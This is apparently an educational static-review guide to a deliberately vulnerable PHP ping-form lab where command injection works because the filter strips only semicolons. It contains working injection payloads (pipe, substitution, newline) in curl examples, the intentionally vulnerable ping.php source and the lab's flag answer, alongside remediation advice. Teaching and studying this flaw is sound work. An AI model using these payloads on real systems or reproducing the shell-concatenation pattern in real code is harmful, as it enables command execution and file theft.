Command injection

Source-based lab reference

NetCheck accepts a host for a ping check. Its PHP handler removes one character, then asks a shell to interpret the rest. The core lesson is the boundary between input data and a command.

CWE-78PHPPOSIX shellWeak blacklistStatic review

This guide explains the supplied Command Injection with Weak Filters lab. It is based on the PHP source, Docker configuration, README, and technical notes. It does not launch the container, make requests, or execute supplied code.

What the lab is about

The application presents a network diagnostics form. The user supplies a host in the ip field; the server constructs a ping command, runs it, and displays captured output. The lab demonstrates why removing a single shell character does not make arbitrary input safe to place inside a shell command.

  1. RequestPOST ip=…User-controlled host field
  2. Filtertrim() → delete ";"No host-format validation
  3. Command string"ping -c 1 " . $ip_filteredData enters shell grammar here
  4. Shell executionshell_exec($cmd . " 2>&1")Output is then HTML-escaped
Handler flow from Command-Injection/src/ping.php, lines 256–291. The empty-input branch is omitted from this diagram; this is not an execution trace.

Learning goals

Find the trust boundary

Trace the POST value from input, through its filter, into the command string.

Explain the failure

Distinguish shell syntax from ordinary argument data, and understand why a character blacklist is brittle.

Read evidence carefully

Separate behavior established by source from results claimed by the write-up.

Choose a safer design

Prefer a non-shell API, fixed command choices, and strict validation for the expected host format.

What a complete solve means

  • Identify POST /ping.php and the ip field, including the method and empty-input checks.
  • Explain why 127.0.0.1;id is mutated into one host string, not rejected or executed as two commands.
  • Choose a surviving operator and account for its exit-status, expansion, and output behavior.
  • Explain how a process can read /flag.txt even though Apache does not serve that path from the web root.
  • Separate an author-disclosed flag from proof of retrieval through the vulnerable HTTP handler.

What was reviewed—and what was not run

The six supplied files in Command-Injection/ were read as text and this guide was compared with madx.html and its-a-fly.html. Official documentation informed the corrections. No project file was executed, no HTML was opened, no container was built or started, and no lab request was sent. Examples below are inert reference text.

Read in order: handler → filter and shell → intended solve route → remediation → source snapshots and corrections. Flag-bearing examples and source snapshots use expandable spoilers. Open only the notes you want included when printing.

Scope

The supplied lab is an intentionally vulnerable training target. Any future hands-on use belongs inside an owned, isolated lab. This HTML has no request form, command runner, or connection to the service. “Authorized Personnel Only” is presentation text; the supplied handler does not enforce authentication.

How injection occurs

Checked against ping.php

The handler does perform a few checks. None of them preserves a host value as data when the command reaches the shell.

The request path, including its gates

The form uses method="POST", an empty action (the current page), and a text input named ip. The handler only enters for POST with that field present. It trims edge whitespace, deletes semicolons, constructs a command string, and checks for empty filtered input before execution.

src/ping.php lines 256–287 · condensed excerpt; comments and HTML wrappers omitted
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ip'])) {
    $ip = trim($_POST['ip']);
    $ip_filtered = str_replace(";", "", $ip);
    $cmd = "ping -c 1 " . $ip_filtered;

    if (empty(trim($ip_filtered))) {
        // Original handler prints: [ERROR] No target host specified.
    } else {
        $output = shell_exec($cmd . " 2>&1");
        if ($output) {
            echo htmlspecialchars($output);
        } else {
            // Original handler prints its generic no-response message.
        }
    }
}
Source-derived behavior, not observed responses
StageExact behaviorWhat to conclude
Method and presencePOST and isset($_POST['ip'])A GET or a missing field does not enter this results handler. There is no authentication check here.
Normalizationtrim($_POST['ip'])Default edge whitespace is removed, including edge line breaks. Internal whitespace is not stripped. No scalar-type guard precedes trim().
Filterstr_replace(";", "", $ip)Every literal semicolon is deleted. The request is not rejected; no IP or hostname policy is applied.
Construction"ping -c 1 " . $ip_filteredThe host is unquoted text in a shell command, not a separately supplied argument.
Empty-input gateempty(trim($ip_filtered))Empty, whitespace-only, and semicolon-only values do not execute. PHP also treats the string "0" as empty; this is not a meaningful host validator.
Executionshell_exec($cmd . " 2>&1")The shell interprets surviving grammar. The child inherits the calling process's permissions; the flag owner's identity is not the executing user's identity.
Displayif ($output), then htmlspecialchars($output)The handler branches on output truthiness, not exit status. Reflected input is also HTML-escaped in the form.

Where the trust boundary breaks

A host should be one data value. String concatenation places that value inside the shell's instruction language. A surviving pipe can create another command; spaces can introduce extra arguments; a substitution can execute while arguments are being expanded. Deleting ; addresses one spelling, not the boundary.

htmlspecialchars() is for the response's HTML context. It can stop command output or a reflected host from being interpreted as HTML, but it cannot stop a shell that has already interpreted the input. Likewise, an “Input Sanitized” badge and a “PASSED” comment are claims in the interface, not security controls.

Why output is not an exit-status report

PHP documents shell_exec() as returning captured output, false on a pipe-creation error, or null on an error or when no output is produced. It cannot distinguish all those cases from the output alone. This handler also uses a truthiness test: even an output string equal to "0" selects the generic-error branch.

For a normal, non-injected command, trailing 2>&1 merges ping's stderr into stdout. If input introduces additional shell syntax, the redirection belongs where the shell grammar places it—not automatically around every command. The next page traces that detail.

Do not overread the generic error

“No response from host” is application text. It is not proof of a timeout, of an unreachable host, or of failed command execution. A command can execute without producing captured output. Conversely, an error string in Results can prove output was captured while the called program failed.

What the deployment text actually declares

Topology derived from Dockerfile and Compose · not a running deployment
Host URL (documented): http://localhost:8888/ping.php
Compose service:      web
Container name:       cmd-injection-lab
Published ports:      "8888:80"       (host → container)
Base image:           php:8.2-apache  (floating tag)
Installed tool:       iputils-ping
Web application:      /var/www/html/ping.php
Root page:            generated index.php redirects to /ping.php
Objective file:       /flag.txt, mode 0444, outside the web root

The documented /bin/sh → dash, Debian details, ping path, and www-data worker identity describe the intended image. The supplied files do not pin all resolved versions, and no build was inspected. Mode 0444 gives owner, group, and others read permission in the declared filesystem. That is enough for the intended web worker to read the file; it does not grant root privileges or make the host's filesystem accessible.

“localhost” in the instructions is not a binding policy

Compose publishes "8888:80" without a host IP. Docker's normal default is to publish on all host interfaces, subject to network and daemon configuration. A future isolated exercise should explicitly use a loopback mapping such as "127.0.0.1:8888:80" and suitable firewall controls. This review did not change Compose or start the service.

The flag is outside /var/www/html, so the ordinary web-root mapping does not serve it as /flag.txt. A process reading an absolute filesystem path is a different access path. Neither obscurity nor “outside the web root” protects a readable file from an injected process.

The handler does not display the filtered value

The form reflects the original POST value, HTML-escaped, and the “Input Sanitized” badge is unconditional markup. There is no per-request filter notice or displayed $ip_filtered. Derive the transformation from the source; do not report a notice that this application never emits.

The filter & shell

Static behavior analysis

Different surviving operators execute at different times and expose different output. Understanding those differences is more useful than memorizing a bypass list.

Deletion is not rejection

str_replace(";", "", $ip) deletes every literal semicolon from the trimmed input. It does not terminate processing, validate a host, quote an argument, or remove the rest of the shell's grammar.

Semicolon control case · exact string transformation, not a runtime result
Submitted value:  127.0.0.1;id
After trim:       127.0.0.1;id
After deletion:   127.0.0.1id
Shell text:       ping -c 1 127.0.0.1id 2>&1

There is no command separator left, so this does not run id.

Whether the mutated host resolves is a runtime question. The source-level conclusion is narrower: this test does not chain id, yet the filter still does not make other input safe.

Surviving shell grammar

POSIX shell meanings applied to the supplied command construction
SyntaxWhen it actsWhat reaches the resultFilter behavior
;Normally separates sequential commands.Not available as a separator after this filter.Deleted, not rejected.
left && rightRuns right only when left returns status 0.Left's stdout plus right's output if that branch runs. Ping success is required, not guaranteed.Unchanged.
left || rightRuns right only when left returns nonzero.Right's output if the failure branch runs. A host named “invalidhost” is not universally guaranteed to fail resolution.Unchanged.
left | rightCreates a pipeline; right need not wait for left to succeed.Left's stdout becomes right's stdin. Captured stdout normally comes from right; the chosen program may ignore stdin.Unchanged.
$(command)Executes during shell expansion before ping receives its arguments.Substitution stdout replaces the expression; trailing newlines are removed. It is not directly printed as a separate result.Unchanged.
`command`Legacy command substitution; quoting and nesting are more awkward.The same output-to-argument distinction applies.Unchanged.
Embedded LF newlineCan separate commands in an unquoted shell list.Sequential command output. A real internal newline must reach PHP.Not deleted; edge newlines are removed by trim().
Spaces and option-like textCan create additional words or options even without another command.Program-dependent argument behavior. This is why no-shell APIs still need input validation.Internal spaces and hyphens survive.

For an unquoted substitution, field splitting and pathname expansion can further change the generated words. The lab's short flag may appear in ping's error message, as the author predicts, but that display depends on the program, resolution, and diagnostic format. Execution of the substitution and visibility of its output are separate questions.

Reveal the intended pipe payload and its complete shell trace
Source-derived pipe trace · the execution suffix is included
Input:           127.0.0.1 | cat /flag.txt
Filtered value:  127.0.0.1 | cat /flag.txt
$cmd:            ping -c 1 127.0.0.1 | cat /flag.txt
Executed text:   ping -c 1 127.0.0.1 | cat /flag.txt 2>&1

Left command:    ping -c 1 127.0.0.1
Connection:      ping stdout → cat stdin
Right command:   cat /flag.txt 2>&1
Captured output: cat stdout, including its redirected stderr
  1. The pipe survives because no semicolon occurs in the input.
  2. The shell starts the pipeline without an AND-style success condition.
  3. cat has an explicit file operand, /flag.txt. It reads that file—not the piped ping text. With no file operand, cat would instead copy stdin.
  4. The appended 2>&1 belongs to the right-hand cat command. It does not merge ping's stderr into the returned stream.
  5. The author reports the flag as output. Source shows why that is the intended result if the declared file exists and is readable, but this review did not observe it.

Upstream ping errors need not appear in Results, and ping behavior can still affect process completion. “Pipe bypass” is a shell-semantics explanation, not a guarantee of every deployment's response.

Three parsing layers, not one

  1. Your local shell: parses a command-line client's quotes and substitutions. Double-quoted $(…) can execute locally before any HTTP request; single-quote literal values.
  2. HTTP form decoding: turns an encoded field into $_POST['ip']. Raw & separates form parameters; encoded %26 represents an ampersand in the value.
  3. The server's shell: parses the command string after PHP trims and filters the decoded value.

A literal “%0A” is not a newline in the browser field

Typing %0A into a normal text field ordinarily submits an encoded percent sign (%250A), leaving the literal characters %0A after form decoding. Likewise, passing an already encoded value to --data-urlencode encodes its percent signs again. Choose either a literal value with automatic encoding or a deliberately encoded form body—not both.

Study the documented newline variant without sending it

The following is an already encoded form body, not the value to type into the text input or pass unchanged to --data-urlencode:

Newline representation trace · inert reference text
Encoded body: ip=127.0.0.1%0Acat%20%2Fflag.txt

Decoded ip value, shown on two lines:
127.0.0.1
cat /flag.txt

Final shell text, with the handler's suffix:
ping -c 1 127.0.0.1
cat /flag.txt 2>&1

The line break is internal, so trim() does not remove it. The normal single-line form widget is not a dependable way to enter a real newline; the variant depends on the actual submitted body.

Root cause, not a larger blacklist

CWE-78 concerns untrusted input altering an OS command. Adding |, &&, or $() to a removal list would chase spellings while leaving a fragile design. Keep the executable and arguments separate; avoid shell interpretation where possible.

Study walkthrough

Read-only analysis route

Follow the value from the form to the process call, then assess each statement against its source. This route explains both the defect and the intended solve.

The steps below describe source review. This reference does not start Docker, send requests, or run the application.

  1. Map the application

    Read src/ping.php. Identify the HTTP method, field name, value normalization, output handling, and function that starts the external command.

  2. Write down the trust boundary

    Track $_POST['ip'] into $ip_filtered and then $cmd. Compare the semicolon control case with the pipe trace on the preceding page. HTML escaping and shell safety protect different boundaries.

  3. Check the runtime model from configuration

    Read Dockerfile and docker-compose.yml as text. They describe a PHP 8.2 Apache image, ping package, image-created flag path, and port mapping to host port 8888. These are configuration claims, not a running service.

  4. Explain the intended file-read route

    A pipe survives the filter and creates a right-hand command. With cat /flag.txt, that command reads the declared file rather than ping's stdin. Explain why its output reaches shell_exec() and why mode 0444 matters; do not substitute a Dockerfile's disclosed answer for HTTP retrieval evidence.

  5. Compare evidence with the write-up

    Use README.md, TECHNICAL_GUIDE.md, and cmdE.md to find intended objectives and examples. Label each result as source-confirmed, documented, or runtime-unverified.

  6. Describe a defensible remediation

    Ask whether the ping command is needed. If so, use a library where possible. Otherwise keep the executable fixed, pass arguments without a shell through a suitable process API, validate host input, and run with least privilege. Escaping alone should not replace validation and safe process construction.

Reference requests for a future isolated local session

These commands are text only. They assume an owned lab already running with host access restricted as described on the mechanics page. Single quotes and --data-urlencode preserve the literal input through the local shell and form encoding.

Baseline → semicolon control → benign command proof · not sent
curl -i --data-urlencode 'ip=127.0.0.1' \
  'http://localhost:8888/ping.php'
curl -i --data-urlencode 'ip=127.0.0.1;id' \
  'http://localhost:8888/ping.php'
curl -i --data-urlencode 'ip=127.0.0.1 | id' \
  'http://localhost:8888/ping.php'

The control is mutated into 127.0.0.1id. The pipe case instead invokes id, whose identity output would establish command execution if returned. The exact UID, ping result, and HTTP response are runtime questions.

Reveal the intended flag request and source-declared answer
Local lab objective · inert request example
curl -i --data-urlencode 'ip=127.0.0.1 | cat /flag.txt' \
  'http://localhost:8888/ping.php'

Command-Injection/Dockerfile, lines 29–30, declares FLAG{command_injection_filter_bypass} with mode 0444. This is an answer visible in supplied source, not a flag retrieved in this review. A completed hands-on solve would retain the actual request and returned file content.

Evidence labels used throughout this reference
Source-confirmed     Read directly from supplied files
Documented           Claimed by the README or technical guide
Runtime-unverified   Not launched or tested in this review

Safer design principle

OWASP recommends avoiding direct OS command calls where a library can provide the required behavior. If a command remains necessary, separate the command from its arguments, validate input, and apply defense in depth.

Build an evidence table for a review

Keep the conclusion proportional to what each artifact establishes. Source is enough to identify the unsafe construction, but it cannot prove that a particular operating-system command succeeds in a built image.

EvidenceWhat it supportsWhat it does not establish
ping.php handlerPOST field, trimming, semicolon deletion, command concatenation, shell execution, and output escaping.Which shell or ping binary is present at runtime, or what a submitted string produces.
DockerfileDeclared base image, package installation, flag path, file mode, and source-disclosed answer.A successful image build, final package version, or retrieval through the handler.
Compose fileService configuration and host port mapping.Whether a service is running or reachable.
README and guidesAuthor-reported setup, intended payloads, and expected output.Independent reproduction of those results.

For a future controlled lab session, record the submitted field, the original value reflected in the form, returned output or generic error, and the source branch that explains it. The handler emits no filter notice. Do not treat a generic error as proof that the OS command failed: shell_exec() captures output, and this page does not report a separate process exit status.

Things to learn

Takeaways & safer patterns

The durable lesson is not a memorized list of characters. It is to preserve the boundary between the user's data and the program's instructions.

For application developers

  • Avoid shell commands when possible. Use a language or platform API to perform the operation.
  • Do not assemble a shell string from input. If a child process is required, select a fixed executable and pass arguments through an API that does not invoke a shell.
  • Validate for the expected meaning. A ping target should meet a deliberate hostname or IP policy. Validation complements safe process creation.
  • Reduce impact. Run the application with only the permissions it needs and keep secrets outside the web process's readable scope where possible.
  • Escape output for its destination. HTML escaping is relevant to browser rendering, but cannot prevent an earlier shell injection.

For security students

  • Trace attacker-controlled input to the sensitive operation.
  • Distinguish command injection from argument injection: avoiding a shell prevents metacharacter parsing, while arguments can still change a program's behavior.
  • Read a filter as code, not as a security claim. A “sanitized” badge does not establish safe handling.
  • Report scope and evidence: source review, container configuration, and runtime testing provide different kinds of confirmation.

A concrete no-shell argument boundary

For a deliberately IP-only interface, reject nonscalar or invalid values and construct one target argument. PHP 7.4 and later, including the declared PHP 8.2 image, let proc_open() accept an array command that starts the executable directly without a shell. Passing a concatenated string to the same API would not provide that boundary.

Input and argument construction only · not a complete process runner
$input = $_POST['ip'] ?? null;
if (!is_string($input)) {
    http_response_code(400);
    exit('Invalid target.');
}
$target = trim($input);
if (filter_var($target, FILTER_VALIDATE_IP) === false) {
    http_response_code(400);
    exit('Invalid IP address.');
}

$argv = ['/usr/bin/ping', '-n', '-c', '1', '-W', '2', $target];
// Supply this array as proc_open()'s command, never join it into a string.
// Process descriptors, output handling, deadline and cleanup are omitted.

The sketch intentionally drops hostname support. If names are required, define their allowed syntax, resolution and destination policy separately. One validated argument prevents shell grammar and option-like targets; it does not authorize arbitrary network destinations. Constrain reachable addresses where appropriate, bound total execution time and output, close process resources, and retain least privilege. -W 2 is a ping reply timeout, not a complete application deadline.

For a reviewed shell-only fallback, escapeshellarg() quotes one argument; escapeshellcmd() does not guarantee one argument or prevent option injection. Neither replaces validation, a fixed executable, or the preferred no-shell design.

Self-check

  • Can I trace $_POST['ip'] from the request gate to the shell call?
  • Can I state exactly what trim() and semicolon replacement change?
  • Can I explain why deleting one metacharacter leaves the shell in control of parsing?
  • Can I distinguish command injection from an argument that changes ping's own options?
  • Can I explain why HTML escaping of output does not protect command construction?
  • Can I separate source-confirmed behavior from documented payload results?
  • Can I explain why an empty output does not reveal the process exit status?
  • Can I describe a design that avoids shell parsing and validates one intended host value?

Questions for a safer implementation

Would a networking API replace the external command entirely? If a child process is needed, can the program choose a fixed executable and pass an argument vector through an API that does not invoke a shell? Is the target validated according to the application's hostname or IP policy? Are execution time, privileges, and access to local secrets constrained independently of input validation?

These controls address separate risks. A safe process API prevents shell metacharacter interpretation; a narrow input policy prevents values with an unintended meaning to the called program; least privilege limits damage if another control fails.

References

The external references are linked for further reading. The guide contains its explanations and works without fetching them.

Files & evidence

Provenance & limits

This page records what was read and what can be concluded without starting the lab. Keep it with the walkthrough when you review the challenge later.

Files reviewed

FileRole in the labWhat it supports
Command-Injection/src/ping.phpWeb application and handlerPOST ip, semicolon removal, command concatenation, shell_exec(), output escaping, and developer notes.
Command-Injection/DockerfileImage build instructionsPHP/Apache base, ping package install, declared /flag.txt, and file mode.
Command-Injection/docker-compose.ymlContainer configurationService name and port mapping to 8888.
Command-Injection/README.mdStudent-facing lab briefScenario, objectives, setup instructions, hints, and documented examples.
Command-Injection/TECHNICAL_GUIDE.mdTechnical explanationDescribed execution flow, shell operators, and intended outcomes.
Command-Injection/cmdE.mdExploitation guideSuggested reconnaissance and practice route for the intended lab.

Evidence boundary

  • Established from source: the handler concatenates a filtered request value into a command string and passes it to shell_exec(); the filter removes semicolons only.
  • Established from configuration text: the Dockerfile declares the flag file, permissions, and base image; Compose declares the local port mapping.
  • Reported in documentation: the intended flag value, retrieval examples, and expected output for exploit payloads.
  • Not established here: successful image build, runtime PHP behavior, installed shell or ping version, actual HTTP responses, network-dependent ping results, or flag retrieval.
  • Not performed: no project files were run, no container was built or started, and no requests or exploit tests were sent.

Source versus runtime

The documentation describes Debian, /bin/sh, and Apache permissions as expected lab details. The build files provide context, but this review did not build an image to confirm the resolved system versions or runtime behavior.

Source reading map

Source areaRead forReview note
Form markup in src/ping.phpPOST method, field name, reflected value, and the “Input Sanitized” claim.HTML escaping is for an attribute context, not shell safety.
PHP handler in src/ping.phpRequest gate through shell_exec() and result rendering.Primary evidence for the command-injection finding.
Debug comments and status panelDeclared OS, shell, binary, filter, and flag details.Supplied text, not confirmed runtime facts.
Dockerfile and Compose fileImage instructions, flag declaration, service name, and port binding.Build instructions are not runtime observations.

The lab's own comments acknowledge that other shell operators remain relevant. Treat those notes as context; the handler alone is sufficient to identify the unsafe boundary.

What “verified” means here

This reference was assembled by reading the supplied HTML, PHP, Markdown, Dockerfile, and Compose text. It explains the source-level defect but does not claim to have reproduced the challenge. The HTML is self-contained: layout, styles, navigation, and copy controls are local; no server or challenge service is required to read it.

Complete inert source snapshots

These collapsible snapshots preserve the supplied files as readable text for offline review. Expand only the files relevant to your question; no source, container, request, or lab is launched by this page.

Read Command-Injection/src/ping.php · complete original source

This is inert text copied from the supplied lab file. It is not executed by this reference.

Command-Injection/src/ping.php · complete original source
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NetCheck v3.1 - Network Diagnostics</title>
    <!-- NetCheck Internal Diagnostics Suite - Build 3.1.4-rc2 -->
    <!-- Maintained by: ops@netcheck-internal.local -->
    <!-- Last security audit: 2025-06-14 | Auditor: D. Kim | Status: PASSED -->
    <!-- TODO: migrate from shell-based ping to socket API (low priority) -->
    <!-- NOTE: input sanitization updated Q2 2025 - semicolon injection patched -->
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: #0f1923;
            color: #c9d1d9;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            align-items: center;
        }
        .header {
            background: #161b22;
            width: 100%;
            padding: 20px 0;
            border-bottom: 1px solid #30363d;
            text-align: center;
        }
        .header h1 {
            color: #58a6ff;
            font-size: 1.8em;
            letter-spacing: 1px;
        }
        .header p {
            color: #8b949e;
            font-size: 0.9em;
            margin-top: 5px;
        }
        .nav {
            background: #161b22;
            width: 100%;
            border-bottom: 1px solid #30363d;
            display: flex;
            justify-content: center;
            gap: 0;
        }
        .nav a {
            color: #8b949e;
            text-decoration: none;
            padding: 10px 20px;
            font-size: 0.85em;
            border-bottom: 2px solid transparent;
            transition: all 0.2s;
        }
        .nav a:hover { color: #c9d1d9; }
        .nav a.active {
            color: #58a6ff;
            border-bottom-color: #58a6ff;
        }
        .container {
            max-width: 750px;
            width: 90%;
            margin: 30px auto;
        }
        .card {
            background: #161b22;
            border: 1px solid #30363d;
            border-radius: 8px;
            padding: 30px;
            margin-bottom: 25px;
        }
        .card h2 {
            color: #58a6ff;
            margin-bottom: 15px;
            font-size: 1.2em;
        }
        label {
            display: block;
            margin-bottom: 8px;
            color: #8b949e;
            font-size: 0.95em;
        }
        input[type="text"] {
            width: 100%;
            padding: 12px 15px;
            background: #0d1117;
            border: 1px solid #30363d;
            border-radius: 6px;
            color: #c9d1d9;
            font-size: 1em;
            font-family: 'Consolas', monospace;
            margin-bottom: 15px;
            outline: none;
            transition: border 0.2s;
        }
        input[type="text"]:focus {
            border-color: #58a6ff;
        }
        button {
            background: #238636;
            color: #fff;
            border: none;
            padding: 12px 28px;
            border-radius: 6px;
            font-size: 1em;
            cursor: pointer;
            transition: background 0.2s;
        }
        button:hover {
            background: #2ea043;
        }
        .output-box {
            background: #0d1117;
            border: 1px solid #30363d;
            border-radius: 6px;
            padding: 20px;
            font-family: 'Consolas', 'Courier New', monospace;
            font-size: 0.9em;
            white-space: pre-wrap;
            word-wrap: break-word;
            color: #7ee787;
            max-height: 400px;
            overflow-y: auto;
        }
        .error-msg {
            color: #f85149;
            font-weight: bold;
        }
        .info-bar {
            background: #161b22;
            border: 1px solid #30363d;
            border-radius: 8px;
            padding: 15px 20px;
            margin-bottom: 25px;
            font-size: 0.85em;
            color: #8b949e;
        }
        .info-bar code {
            background: #0d1117;
            padding: 2px 6px;
            border-radius: 3px;
            color: #f0883e;
        }
        .status-badge {
            display: inline-block;
            padding: 3px 10px;
            border-radius: 12px;
            font-size: 0.75em;
            font-weight: 600;
            margin-left: 8px;
        }
        .badge-secure {
            background: #238636;
            color: #fff;
        }
        .sidebar-info {
            font-size: 0.78em;
            color: #484f58;
            margin-top: 15px;
            padding-top: 12px;
            border-top: 1px solid #21262d;
        }
        .sidebar-info ul {
            list-style: none;
            padding: 0;
        }
        .sidebar-info li {
            padding: 2px 0;
        }
        .sidebar-info li::before {
            content: "›";
            color: #30363d;
            margin-right: 6px;
        }
        .footer {
            text-align: center;
            padding: 20px;
            color: #484f58;
            font-size: 0.8em;
        }
        .footer a {
            color: #484f58;
            text-decoration: none;
        }
        .footer a:hover {
            color: #8b949e;
            text-decoration: underline;
        }
    </style>
</head>
<body>

<!-- ============================================================
     NetCheck v3.1 Internal Diagnostics
     Security Patch Log:
       v3.0 - Initial release
       v3.1 - Blocked semicolons in user input (injection fix)
              Ref: INC-2025-0042 "user input passed to system()"
              Fix: remove ";" from input before passing to shell
              Status: RESOLVED
     Pending:
       - [ ] Block pipe operators (|) - deprioritized
       - [ ] Investigate $() command substitution risk
       - [ ] Consider switching to proc_open() with arg array
       - [ ] Ticket INC-2025-0087: review && and || handling
     ============================================================ -->

<div class="header">
    <h1>&#128268; NetCheck <span style="font-size:0.5em; color:#484f58;">v3.1</span></h1>
    <p>Internal Network Diagnostics &mdash; Authorized Personnel Only</p>
</div>

<div class="nav">
    <a href="/ping.php" class="active">Ping</a>
    <a href="#" onclick="return false;" style="color:#30363d; cursor:not-allowed;">Traceroute</a>
    <a href="#" onclick="return false;" style="color:#30363d; cursor:not-allowed;">DNS Lookup</a>
    <a href="#" onclick="return false;" style="color:#30363d; cursor:not-allowed;">Port Scan</a>
</div>

<div class="container">

    <div class="info-bar">
        &#9432; Enter a hostname or IP address to check connectivity.
        Example: <code>8.8.8.8</code> or <code>google.com</code>
        <span class="status-badge badge-secure">&#10003; Input Sanitized</span>
    </div>

    <div class="card">
        <h2>Ping Host</h2>
        <form method="POST" action="">
            <label for="ip">Target Host / IP Address:</label>
            <input type="text" id="ip" name="ip" placeholder="e.g. 8.8.8.8"
                   value="<?php echo isset($_POST['ip']) ? htmlspecialchars($_POST['ip']) : ''; ?>"
                   autocomplete="off">
            <button type="submit">&#9654; Run Ping</button>
        </form>
        <!-- form handler: shell_exec("ping -c 1 " . $filtered_input) -->
    </div>

    <?php
    /**
     * NetCheck v3.1 - Ping Handler
     *
     * Accepts user-supplied host/IP via POST, runs ping, returns output.
     * Input sanitization applied per INC-2025-0042.
     *
     * @author  NetCheck Dev Team
     * @version 3.1.4
     */

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ip'])) {

        $ip = trim($_POST['ip']);

        /**
         * Input Sanitization (v3.1 patch - INC-2025-0042)
         *
         * Strip dangerous characters to prevent command injection.
         * The semicolon (;) allows chaining arbitrary commands,
         * so we remove it from all user input before processing.
         */
        $ip_filtered = str_replace(";", "", $ip);

        // Build the ping command
        $cmd = "ping -c 1 " . $ip_filtered;

        echo '<div class="card">';
        echo '<h2>Results</h2>';

        if (empty(trim($ip_filtered))) {
            echo '<div class="output-box"><span class="error-msg">[ERROR] No target host specified.</span></div>';
        } else {
            // Execute ping and capture output
            $output = shell_exec($cmd . " 2>&1");

            echo '<div class="output-box">';
            if ($output) {
                echo htmlspecialchars($output);
            } else {
                echo '<span class="error-msg">[ERROR] No response from host. It may be unreachable or the request timed out.</span>';
            }
            echo '</div>';
        }

        echo '</div>';
    }
    ?>

    <!-- ====== System Information (Debug - disable before production) ====== -->
    <!--
         Server OS:    Debian GNU/Linux
         Web Server:   Apache/2.4
         PHP Version:  8.2
         Shell:        /bin/sh -> dash
         Ping Binary:  /usr/bin/ping
         Flag Store:   /flag.txt (permission: 0444, owner: root)
         Sanitizer:    str_replace(";", "", $input)
         Exec Method:  shell_exec($cmd)
    -->

    <div class="card" style="border-color:#21262d;">
        <h2 style="color:#484f58; font-size:1em;">System Status</h2>
        <div class="sidebar-info">
            <ul>
                <li>Engine: NetCheck v3.1.4-rc2</li>
                <li>Ping binary: <code style="background:#0d1117; padding:1px 5px; border-radius:3px; color:#8b949e; font-size:0.9em;">/usr/bin/ping</code></li>
                <li>Input filter: semicolon blacklist <span class="status-badge badge-secure" style="font-size:0.7em;">active</span></li>
                <li>Shell backend: /bin/sh</li>
                <li>Last updated: 2025-06-14</li>
            </ul>
        </div>
    </div>

</div>

<div class="footer">
    &copy; 2026 NetCheck Diagnostics &mdash; Internal Use Only<br>
    <span style="font-size:0.85em; color:#30363d;">
        Security research &amp; training resources:
        <a href="https://cyberparadigm.in" target="_blank" rel="noopener">cyberparadigm.in</a>
    </span>
</div>

<!-- Easter Egg: The developers left a note... -->
<!--
    ===================================================================
    Dev Note (Jake, 2025-06-15):
    Hey team, I patched the semicolon injection bug from last week.
    Removed all ";" from input so users can't chain commands anymore.

    Sarah (2025-06-16):
    Nice, but what about pipe characters? And the $() syntax?
    Those can also execute commands. See: man bash -> SHELL GRAMMAR

    Jake (2025-06-18):
    Eh, nobody uses those. The semicolon was the main vector.
    We're fine. Closing the ticket.

    Sarah (2025-06-18):
    I really think we should look into this more. At minimum
    block | and && and || too. Also check backtick substitution.

    Jake (2025-06-19):
    Ticket closed. Moving on to the dashboard redesign.
    ===================================================================
-->

</body>
</html>
Read Command-Injection/Dockerfile · complete build definition

This is inert text copied from the supplied lab file. It is not executed by this reference.

Command-Injection/Dockerfile · complete build definition
# ======================================================================
#  Dockerfile — Command Injection with Weak Filters Lab
# ======================================================================
#  Base: Debian-based PHP + Apache image
#  This container runs a deliberately vulnerable web application
#  for educational/pentesting purposes ONLY.
# ======================================================================

FROM php:8.2-apache

# ---------------------------------------------------------------
#  Install iputils-ping so the ping command is available inside
#  the container. The vulnerable app calls `ping` via shell_exec().
# ---------------------------------------------------------------
RUN apt-get update && \
    apt-get install -y --no-install-recommends iputils-ping && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# ---------------------------------------------------------------
#  Place the flag file at /flag.txt
#  This file is the objective — students must read it via
#  command injection. It is NOT accessible through normal
#  web browsing; it lives outside the web root (/var/www/html).
#
#  Permissions: readable by the www-data user (Apache worker),
#  which is the same user that executes shell_exec() commands.
# ---------------------------------------------------------------
RUN echo "FLAG{command_injection_filter_bypass}" > /flag.txt && \
    chmod 444 /flag.txt

# ---------------------------------------------------------------
#  Copy the vulnerable PHP application into the web root.
#  Apache serves files from /var/www/html by default.
# ---------------------------------------------------------------
COPY src/ping.php /var/www/html/ping.php

# ---------------------------------------------------------------
#  Create a simple redirect so visiting / takes the user to ping.php
# ---------------------------------------------------------------
RUN echo '<?php header("Location: /ping.php"); exit; ?>' > /var/www/html/index.php

# ---------------------------------------------------------------
#  Expose port 80 — Apache's default HTTP port
# ---------------------------------------------------------------
EXPOSE 80

# ---------------------------------------------------------------
#  Start Apache in the foreground (default CMD from php:apache image)
# ---------------------------------------------------------------
CMD ["apache2-foreground"]
Read Command-Injection/docker-compose.yml · complete service definition

This is inert text copied from the supplied lab file. It is not executed by this reference.

Command-Injection/docker-compose.yml · complete service definition
# ======================================================================
#  Docker Compose — Command Injection with Weak Filters Lab
# ======================================================================
#  Single-container deployment for the vulnerable network
#  diagnostics web application.
#
#  Usage:
#    docker compose up --build -d
#    Open http://localhost:8888 in a browser
#    docker compose down      (to stop)
# ======================================================================

services:
  web:
    build: .
    container_name: cmd-injection-lab
    ports:
      - "8888:80"
    restart: unless-stopped